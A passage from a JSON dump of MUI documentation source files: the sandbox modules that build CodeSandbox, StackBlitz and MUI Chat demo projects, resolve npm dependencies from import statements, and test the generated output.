(initialFile: string = `/src/Demo.${ext}`) =>\n      openSandbox({ files, codeVariant: demoData.codeVariant, initialFile }),\n  };\n}\n\nfunction createMaterialTemplate(templateData: {\n  title: string;\n  files: Record<string, string>;\n  githubLocation: string;\n  codeVariant: CodeVariant;\n}) {\n  const ext = getFileExtension(templateData.codeVariant);\n  const { title, githubLocation: description } = templateData;\n\n  // document.querySelector returns 'Element | null' but createRoot expects 'Element | DocumentFragment'.\n  const type = templateData.codeVariant === 'TS' ? '!' : '';\n\n  const files: Record<string, { content: string | Record<string, any> }> = {\n    'public/index.html': {\n      content: CRA.getHtml({\n        title: templateData.title,\n        language: 'en',\n      }),\n    },\n    [`index.${ext}`]: {\n      content: `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport App from './App';\n\nReactDOM.createRoot(document.querySelector(\"#root\")${type}).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <App />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`,\n    },\n    ...Object.entries(templateData.files).reduce(\n      (prev, curr) => ({\n        ...prev,\n        [curr[0]]: {\n          content: curr[1],\n        },\n      }),\n      {},\n    ),\n    ...(templateData.codeVariant === 'TS' && {\n      'tsconfig.json': {\n        content: CRA.getTsconfig(),\n      },\n    }),\n  };\n\n  const { dependencies, devDependencies } = SandboxDependencies(\n    {\n      codeVariant: templateData.codeVariant,\n      raw: Object.entries(templateData.files).reduce((prev, curr) => `${prev}\\n${curr}`, ''),\n      productId: 'material-ui',\n    },\n    {\n      commitRef: process.env.PULL_REQUEST_ID ? process.env.COMMIT_REF : undefined,\n      devDeps: CSB_DEV_DEPENDENCIES,\n    },\n  );\n\n  files['package.json'] = {\n    content: {\n      private: true,\n      description,\n      dependencies,\n      devDependencies,\n      scripts: {\n        start: 'react-scripts start',\n        build: 'react-scripts build',\n        test: 'react-scripts test',\n        eject: 'react-scripts eject',\n      },\n    },\n  };\n\n  return {\n    title,\n    files,\n    dependencies,\n    devDependencies,\n    replaceContent(updater: (content: string | Record<string, any>, filePath: string) => string) {\n      Object.keys(files).forEach((filePath) => {\n        files[filePath].content = updater(files[filePath].content, filePath);\n      });\n      return this;\n    },\n    openSandbox: (initialFile: string = '/App') =>\n      openSandbox({ files, codeVariant: templateData.codeVariant, initialFile }),\n  };\n}\n\nexport default {\n  createReactApp,\n  createMaterialTemplate,\n};\n"
  },
  {
    "path": "docs/src/modules/sandbox/CreateReactApp.ts",
    "content": "import type { SandboxConfig } from '@mui/docs/DemoContext';\nimport { DemoData } from 'docs/src/modules/sandbox/types';\n\nexport const getHtml = ({\n  title,\n  language,\n  raw,\n  main,\n}: {\n  title: string;\n  language: string;\n  raw?: string;\n  main?: string;\n}) => {\n  return `<!DOCTYPE html>\n<html lang=\"${language}\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>${title}</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/icon?family=Material+Icons${\n        raw?.includes('material-icons-two-tone') ? '+Two+Tone' : ''\n      }\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    ${main ? `<script type=\"module\" src=\"${main}\"></script>` : ''}\n  </body>\n</html>`;\n};\n\nexport function getRootIndex(demoData: DemoData, csbConfig?: SandboxConfig) {\n  // If context provides a custom getRootIndex, use it\n  if (csbConfig?.getRootIndex) {\n    return csbConfig.getRootIndex(demoData.codeVariant);\n  }\n\n  // document.querySelector returns 'Element | null' but createRoot expects 'Element | DocumentFragment'.\n  const type = demoData.codeVariant === 'TS' ? '!' : '';\n\n  return `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")${type}).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`;\n}\n\nexport const getTsconfig = () => `{\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\n      \"dom\",\n      \"dom.iterable\",\n      \"esnext\"\n    ],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"jsx\": \"react\"\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n`;\n"
  },
  {
    "path": "docs/src/modules/sandbox/Dependencies.test.js",
    "content": "import { expect } from 'chai';\nimport SandboxDependencies from './Dependencies';\n\ndescribe('Dependencies', () => {\n  beforeAll(() => {\n    process.env.SOURCE_CODE_REPO = 'https://github.com/mui/material-ui';\n  });\n\n  afterAll(() => {\n    delete process.env.SOURCE_CODE_REPO;\n  });\n\n  const s1 = `\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { withStyles } from '@mui/material/styles';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Select from '@mui/material/Select';\nimport { SliderUnstyled } from '@mui/base/SliderUnstyled';\nimport FooBar, { Qux } from '@foo-bar/bip';\nconst styles = theme => ({\n  container: {\n    display: 'flex',\n    flexWrap: 'wrap',\n  },\n  formControl\n`;\n\n  it('should handle @ dependencies', () => {\n    const { dependencies } = SandboxDependencies({\n      raw: s1,\n      codeVariant: 'JS',\n    });\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      '@foo-bar/bip': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/base': 'latest',\n      'prop-types': 'latest',\n    });\n  });\n\n  it('should handle * dependencies', () => {\n    const source = `\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport * as _ from '@unexisting/thing';\nimport Draggable from 'react-draggable';\nimport match from 'autosuggest-highlight/match';\nimport parse from 'autosuggest-highlight/parse';\nimport TextField from '@mui/material/TextField';\nimport Paper from '@mui/material/Paper';\nimport MenuItem from '@mui/material/MenuItem';\nimport { withStyles } from '@mui/material/styles';\nconst suggestions = [\n`;\n\n    const { dependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'JS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@unexisting/thing': 'latest',\n      'autosuggest-highlight': 'latest',\n      'prop-types': 'latest',\n      'react-draggable': 'latest',\n    });\n  });\n\n  it('should support direct import', () => {\n    const source = `\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Grid from '@mui/material/Grid';\nimport { withStyles } from '@mui/material/styles';\nimport AdapterDateFns from '@mui/lab/AdapterDateFns';\nimport { LocalizationProvider as MuiPickersLocalizationProvider, KeyboardTimePicker, KeyboardDatePicker } from '@mui/lab';\n`;\n\n    const { dependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'JS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      'prop-types': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/lab': 'next',\n    });\n  });\n\n  it('should support import for side effect', () => {\n    const source = `\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport '@mui/material/Grid';\nimport '@mui/material/styles';\nimport '@mui/lab/AdapterDateFns';\nimport '@mui/lab';\nimport 'exceljs';\n`;\n\n    const { dependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'JS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      'prop-types': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/lab': 'next',\n      exceljs: 'latest',\n    });\n  });\n\n  it('can collect required @types packages', () => {\n    const { dependencies, devDependencies } = SandboxDependencies({\n      raw: s1,\n      codeVariant: 'TS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      'prop-types': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      '@foo-bar/bip': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/base': 'latest',\n      typescript: 'latest',\n    });\n\n    expect(devDependencies).to.deep.equal({\n      '@types/foo-bar__bip': 'latest',\n      '@types/prop-types': 'latest',\n      '@types/react-dom': 'latest',\n      '@types/react': 'latest',\n    });\n  });\n\n  it('should handle @types correctly', () => {\n    const { dependencies, devDependencies } = SandboxDependencies({\n      raw: `import utils from '../utils';`,\n      codeVariant: 'TS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      typescript: 'latest',\n    });\n\n    expect(devDependencies).to.deep.equal({\n      '@types/react-dom': 'latest',\n      '@types/react': 'latest',\n    });\n  });\n\n  it('should handle multilines', () => {\n    const source = `\nimport * as React from 'react';\nimport AdapterDateFns from '@mui/lab/AdapterDateFns';\nimport {\n  LocalizationProvider as MuiPickersLocalizationProvider,\n  KeyboardTimePicker,\n  KeyboardDatePicker,\n} from '@mui/lab';\n    `;\n\n    const { dependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'JS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/lab': 'next',\n    });\n  });\n\n  it('should include core if lab present', () => {\n    const source = `\nimport lab from '@mui/lab';\n    `;\n\n    const { dependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'JS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@mui/lab': 'next',\n    });\n  });\n\n  it('can use codesandbox deploys if a commit is given', () => {\n    const source = `\nimport * as Material from '@mui/material';\nimport * as Base from '@mui/base';\nimport * as IconsMaterial from '@mui/icons-material';\nimport * as Lab from '@mui/lab';\nimport * as System from '@mui/system';\nimport * as Utils from '@mui/utils';\n    `;\n\n    const { dependencies } = SandboxDependencies(\n      {\n        raw: source,\n        codeVariant: 'JS',\n      },\n      { commitRef: '2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f' },\n    );\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      '@mui/material':\n        'https://pkg.pr.new/mui/material-ui/@mui/material@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n      '@mui/icons-material':\n        'https://pkg.pr.new/mui/material-ui/@mui/icons-material@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n      '@mui/lab':\n        'https://pkg.pr.new/mui/material-ui/@mui/lab@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n      '@mui/system':\n        'https://pkg.pr.new/mui/material-ui/@mui/system@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n      '@mui/utils':\n        'https://pkg.pr.new/mui/material-ui/@mui/utils@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n      '@mui/base':\n        'https://pkg.pr.new/mui/material-ui/@mui/base@2d0e8b4daf20b7494c818b6f8c4cc8423bc99d6f',\n    });\n  });\n\n  it('should generate correct Base UI dependencies', () => {\n    const source = `import * as React from 'react';\nimport { NumberField as BaseNumberField } from '@base-ui/react/number-field';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n`;\n\n    const { dependencies, devDependencies } = SandboxDependencies({\n      raw: source,\n      codeVariant: 'TS',\n    });\n\n    expect(dependencies).to.deep.equal({\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      // #npm-tag-reference\n      '@mui/material': 'next',\n      '@base-ui/react': 'latest',\n      typescript: 'latest',\n    });\n    expect(devDependencies).to.deep.equal({\n      '@types/react-dom': 'latest',\n      '@types/react': 'latest',\n    });\n  });\n});\n"
  },
  {
    "path": "docs/src/modules/sandbox/Dependencies.ts",
    "content": "import { CODE_VARIANTS } from '@mui/docs/constants';\nimport type { SandboxConfig } from '@mui/docs/DemoContext';\nimport { DemoData } from './types';\n\nconst packagesWithBundledTypes = [\n  'date-fns',\n  '@emotion/react',\n  '@emotion/styled',\n  'dayjs',\n  'clsx',\n  '@react-spring/web',\n];\nconst muiNpmOrgs = ['@mui', '@base-ui', '@pigment-css', '@toolpad'];\n\n/**\n * WARNING: Always uses `latest` typings.\n *\n * Adds dependencies to @types packages only for packages that are not listed\n * in packagesWithBundledTypes\n *\n * @param deps - list of dependency as `name => version`\n */\nfunction addTypeDeps(deps: Record<string, string>, devDeps: Record<string, string>): void {\n  const packagesWithDTPackage = Object.keys(deps)\n    .filter((name) => !packagesWithBundledTypes.includes(name))\n    // All the MUI packages come with bundled types\n    .filter((name) => !muiNpmOrgs.some((org) => name.startsWith(org)));\n\n  packagesWithDTPackage.forEach((name) => {\n    let resolvedName = name;\n    // scoped package?\n    if (name.startsWith('@')) {\n      // https://github.com/DefinitelyTyped/DefinitelyTyped#what-about-scoped-packages\n      resolvedName = name.slice(1).replace('/', '__');\n    }\n\n    devDeps[`@types/${resolvedName}`] = 'latest';\n  });\n}\n\ntype Demo = Pick<DemoData, 'productId' | 'raw' | 'codeVariant' | 'relativeModules'>;\n\nexport default function SandboxDependencies(\n  demo: Demo,\n  options: { commitRef?: string; devDeps?: Record<string, string>; csbConfig?: SandboxConfig } = {},\n) {\n  const { commitRef, devDeps = {}, csbConfig } = options;\n\n  /**\n   * @param packageName - The name of a package living inside this repository.\n   * @return string - A valid version for a dependency entry in a package.json\n   */\n  function getMuiPackageVersion(packageName: string): string {\n    if (\n      commitRef === undefined ||\n      process.env.SOURCE_CODE_REPO !== 'https://github.com/mui/material-ui'\n    ) {\n      if (['joy', 'base'].includes(packageName)) {\n        return 'latest';\n      }\n      // #npm-tag-reference\n      return 'next';\n    }\n    return `https://pkg.pr.new/mui/material-ui/@mui/${packageName}@${commitRef}`;\n  }\n\n  function extractDependencies() {\n    function includePeerDependencies(\n      deps: Record<string, string>,\n      versions: Record<string, string>,\n    ): Record<string, string> {\n      let newDeps: Record<string, string> = {\n        ...deps,\n        'react-dom': versions['react-dom'],\n        react: versions.react,\n        '@emotion/react': versions['@emotion/react'],\n        '@emotion/styled': versions['@emotion/styled'],\n      };\n\n      if (newDeps['@mui/lab'] || newDeps['@mui/icons-material']) {\n        newDeps['@mui/material'] = versions['@mui/material'];\n      }\n\n      if (newDeps['@mui/x-data-grid']) {\n        newDeps['@mui/material'] = versions['@mui/material'];\n      }\n\n      // Allow product-specific peer dependencies via context config\n      if (csbConfig?.includePeerDependencies) {\n        newDeps = csbConfig.includePeerDependencies(newDeps, {\n          versions,\n        });\n      }\n\n      return newDeps;\n    }\n    let deps: Record<string, string> = {};\n    let versions: Record<string, string> = {\n      react: 'latest',\n      'react-dom': 'latest',\n      '@emotion/react': 'latest',\n      '@emotion/styled': 'latest',\n      '@mui/material': getMuiPackageVersion('material'),\n      '@mui/icons-material': getMuiPackageVersion('icons-material'),\n      '@mui/lab': getMuiPackageVersion('lab'),\n      '@mui/styled-engine': getMuiPackageVersion('styled-engine'),\n      '@mui/system': getMuiPackageVersion('system'),\n      '@mui/private-theming': getMuiPackageVersion('theming'),\n      '@mui/private-classnames': getMuiPackageVersion('classnames'),\n      '@mui/base': getMuiPackageVersion('base'),\n      '@mui/utils': getMuiPackageVersion('utils'),\n      '@mui/material-nextjs': getMuiPackageVersion('material-nextjs'),\n    };\n\n    // Allow product-specific version overrides via context config\n    if (csbConfig?.getVersions) {\n      versions = csbConfig.getVersions(versions, { muiCommitRef: commitRef });\n    }\n\n    const re = /^import\\s'([^']+)'|import\\s[\\s\\S]*?\\sfrom\\s+'([^']+)/gm;\n    const extractImportedDependencies = (raw: string) => {\n      let m: RegExpExecArray | null = null;\n      // eslint-disable-next-line no-cond-assign\n      while ((m = re.exec(raw))) {\n        const fullName = m[2] ?? m[1];\n        // handle scope names\n        const name =\n          fullName.charAt(0) === '@' ? fullName.split('/', 2).join('/') : fullName.split('/', 1)[0];\n\n        if (!deps[name] && !name.startsWith('.')) {\n          deps[name] = versions[name] ?? 'latest';\n        }\n\n        if (csbConfig?.postProcessImport) {\n          const resolvedDep = csbConfig.postProcessImport(fullName);\n          if (resolvedDep) {\n            deps = { ...deps, ...resolvedDep };\n          }\n        }\n      }\n    };\n\n    extractImportedDependencies(demo.raw);\n    demo.relativeModules?.forEach(({ raw }) => extractImportedDependencies(raw));\n\n    deps = includePeerDependencies(deps, versions);\n\n    return deps;\n  }\n\n  const dependencies = extractDependencies();\n\n  if (csbConfig?.fallbackDependency && !dependencies[csbConfig.fallbackDependency.name]) {\n    dependencies[csbConfig.fallbackDependency.name] = csbConfig.fallbackDependency.version;\n  }\n\n  const devDependencies: Record<string, string> = { ...devDeps };\n\n  if (demo.codeVariant === CODE_VARIANTS.TS) {\n    addTypeDeps(dependencies, devDependencies);\n    dependencies.typescript = 'latest';\n  }\n\n  return { dependencies, devDependencies };\n}\n"
  },
  {
    "path": "docs/src/modules/sandbox/FileExtension.ts",
    "content": "export default function getFileExtension(codeVariant: 'TS' | 'JS') {\n  if (codeVariant === 'TS') {\n    return 'tsx';\n  }\n  if (codeVariant === 'JS') {\n    return 'js';\n  }\n  throw new Error(`Unsupported codeVariant: ${codeVariant}`);\n}\n"
  },
  {
    "path": "docs/src/modules/sandbox/FlattenRelativeImports.ts",
    "content": "export default function flattenRelativeImports(rawCode: string) {\n  return rawCode.replace(/from (['\"])\\..*\\//g, `from $1./`);\n}\n"
  },
  {
    "path": "docs/src/modules/sandbox/MuiChat.ts",
    "content": "/* eslint-disable import/prefer-default-export */\nimport type { SandboxConfig } from '@mui/docs/DemoContext';\nimport { DemoData } from './types';\nimport SandboxDependencies from './Dependencies';\nimport flattenRelativeImports from './FlattenRelativeImports';\n\nfunction getFileExtension(codeVariant: 'TS' | 'JS') {\n  if (codeVariant === 'TS') {\n    return 'tsx';\n  }\n  if (codeVariant === 'JS') {\n    return 'jsx';\n  }\n  throw new Error(`Unsupported codeVariant: ${codeVariant}`);\n}\n\nexport function createMuiChat(demoData: DemoData, csbConfig?: SandboxConfig) {\n  const { title, githubLocation: description } = demoData;\n  const ext = getFileExtension(demoData.codeVariant);\n\n  // Get dependencies like StackBlitz\n  const { dependencies } = SandboxDependencies(demoData, {\n    commitRef: process.env.PULL_REQUEST_ID ? process.env.COMMIT_REF : undefined,\n    csbConfig,\n  });\n\n  return {\n    title,\n    description,\n    dependencies,\n    openSandbox: async () => {\n      const baseUrl = process.env.MUI_CHAT_API_BASE_URL;\n\n      if (!baseUrl) {\n        throw new Error(\n          'Could not find the MUI Chat URL, please open a new issue on https://github.com/mui/material-ui/issues/new',\n        );\n      }\n\n      // Use primaryPackage from context config, or fall back to legacy productId mapping\n      let primaryPackage = csbConfig?.primaryPackage;\n      if (!primaryPackage) {\n        const productToPackage: Record<string, string> = {\n          'material-ui': '@mui/material',\n          'joy-ui': '@mui/joy',\n          'x-data-grid': '@mui/x-data-grid',\n          'x-date-pickers': '@mui/x-date-pickers',\n          'x-tree-view': '@mui/x-tree-view',\n          'x-charts': '@mui/x-charts',\n        };\n        primaryPackage =\n          (demoData.productId && productToPackage[demoData.productId]) || '@mui/material';\n      }\n\n      // Process files from demoData similar to StackBlitz\n      const files = [\n        {\n          path: `${demoData.title}.${ext}`,\n          content: flattenRelativeImports(demoData.raw),\n          isEntry: true,\n        },\n        // Add relative modules if any\n        ...(demoData.relativeModules || []).map((module) => ({\n          path: module.module.replace(/^.*[\\\\/]/g, ''),\n          content: flattenRelativeImports(module.raw),\n        })),\n      ];\n\n      try {\n        const response = await fetch(`${baseUrl}/v1/public/chat/open`, {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            name: demoData.title,\n            description: document.title,\n            files,\n            type: 'mui-docs',\n            package: {\n              name: primaryPackage,\n              version: dependencies[primaryPackage] || 'latest',\n            },\n          }),\n        });\n\n        if (!response.ok) {\n          throw new Error('Failed to open in MUI Chat');\n        }\n\n        const data = await response.json();\n        window.open(data.nextUrl, '_blank');\n      } catch (error) {\n        console.error('Error opening MUI Chat:', error);\n        throw error;\n      }\n    },\n  };\n}\n"
  },
  {
    "path": "docs/src/modules/sandbox/StackBlitz.test.js",
    "content": "import { expect } from 'chai';\nimport StackBlitz from './StackBlitz';\n\nconst testCase = `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`;\n\ndescribe('StackBlitz', () => {\n  it('generate the correct JavaScript result', () => {\n    const { openSandbox, ...result } = StackBlitz.createReactApp({\n      title: 'BasicButtons Material Demo',\n      githubLocation:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.js',\n      codeVariant: 'JS',\n      language: 'en',\n      raw: testCase,\n    });\n    expect(result).to.deep.equal({\n      title: 'BasicButtons Material Demo',\n      description:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.js',\n      files: {\n        'index.html': `<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>BasicButtons Material Demo</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/index.jsx\"></script>\n  </body>\n</html>`,\n        'package.json': `{\n  \"private\": true,\n  \"description\": \"https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.js\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"vite build\",\n    \"preview\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"react\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"react-dom\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@vitejs/plugin-react\": \"latest\",\n    \"vite\": \"latest\"\n  }\n}`,\n        'src/Demo.jsx': `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`,\n        'src/index.jsx': `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`,\n        'vite.config.js': `\nimport { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\n\n// https://vitejs.dev/config/\nexport default defineConfig({\n  plugins: [react()],\n  define: { 'process.env': {} },\n});`,\n      },\n      dependencies: {\n        react: 'latest',\n        // #npm-tag-reference\n        '@mui/material': 'next',\n        'react-dom': 'latest',\n        '@emotion/react': 'latest',\n        '@emotion/styled': 'latest',\n      },\n      devDependencies: {\n        '@vitejs/plugin-react': 'latest',\n        vite: 'latest',\n      },\n    });\n  });\n\n  it('generate the correct TypeScript result', () => {\n    const { openSandbox, ...result } = StackBlitz.createReactApp({\n      title: 'BasicButtons Material Demo',\n      githubLocation:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.tsx',\n      codeVariant: 'TS',\n      language: 'en',\n      raw: testCase,\n    });\n    expect(result).to.deep.equal({\n      title: 'BasicButtons Material Demo',\n      description:\n        'https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.tsx',\n      files: {\n        'index.html': `<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>BasicButtons Material Demo</title>\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap\"\n    />\n    <!-- Icons to support Material Design -->\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/index.tsx\"></script>\n  </body>\n</html>`,\n        'package.json': `{\n  \"private\": true,\n  \"description\": \"https://github.com/mui/material-ui/blob/v5.7.0/docs/data/material/components/buttons/BasicButtons.tsx\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"vite build\",\n    \"preview\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"react\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"react-dom\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"typescript\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@vitejs/plugin-react\": \"latest\",\n    \"vite\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\"\n  }\n}`,\n        'src/Demo.tsx': `import * as React from 'react';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n`,\n        'src/index.tsx': `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")!).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`,\n\n        'tsconfig.json': `{\n  \"compilerOptions\": {\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true\n  },\n  \"include\": [\"src\"],\n  \"references\": [{ \"path\": \"./tsconfig.node.json\" }]\n}`,\n        'tsconfig.node.json': `{\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"skipLibCheck\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"bundler\",\n    \"allowSyntheticDefaultImports\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}`,\n        'vite.config.ts': `\nimport { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\n\n// 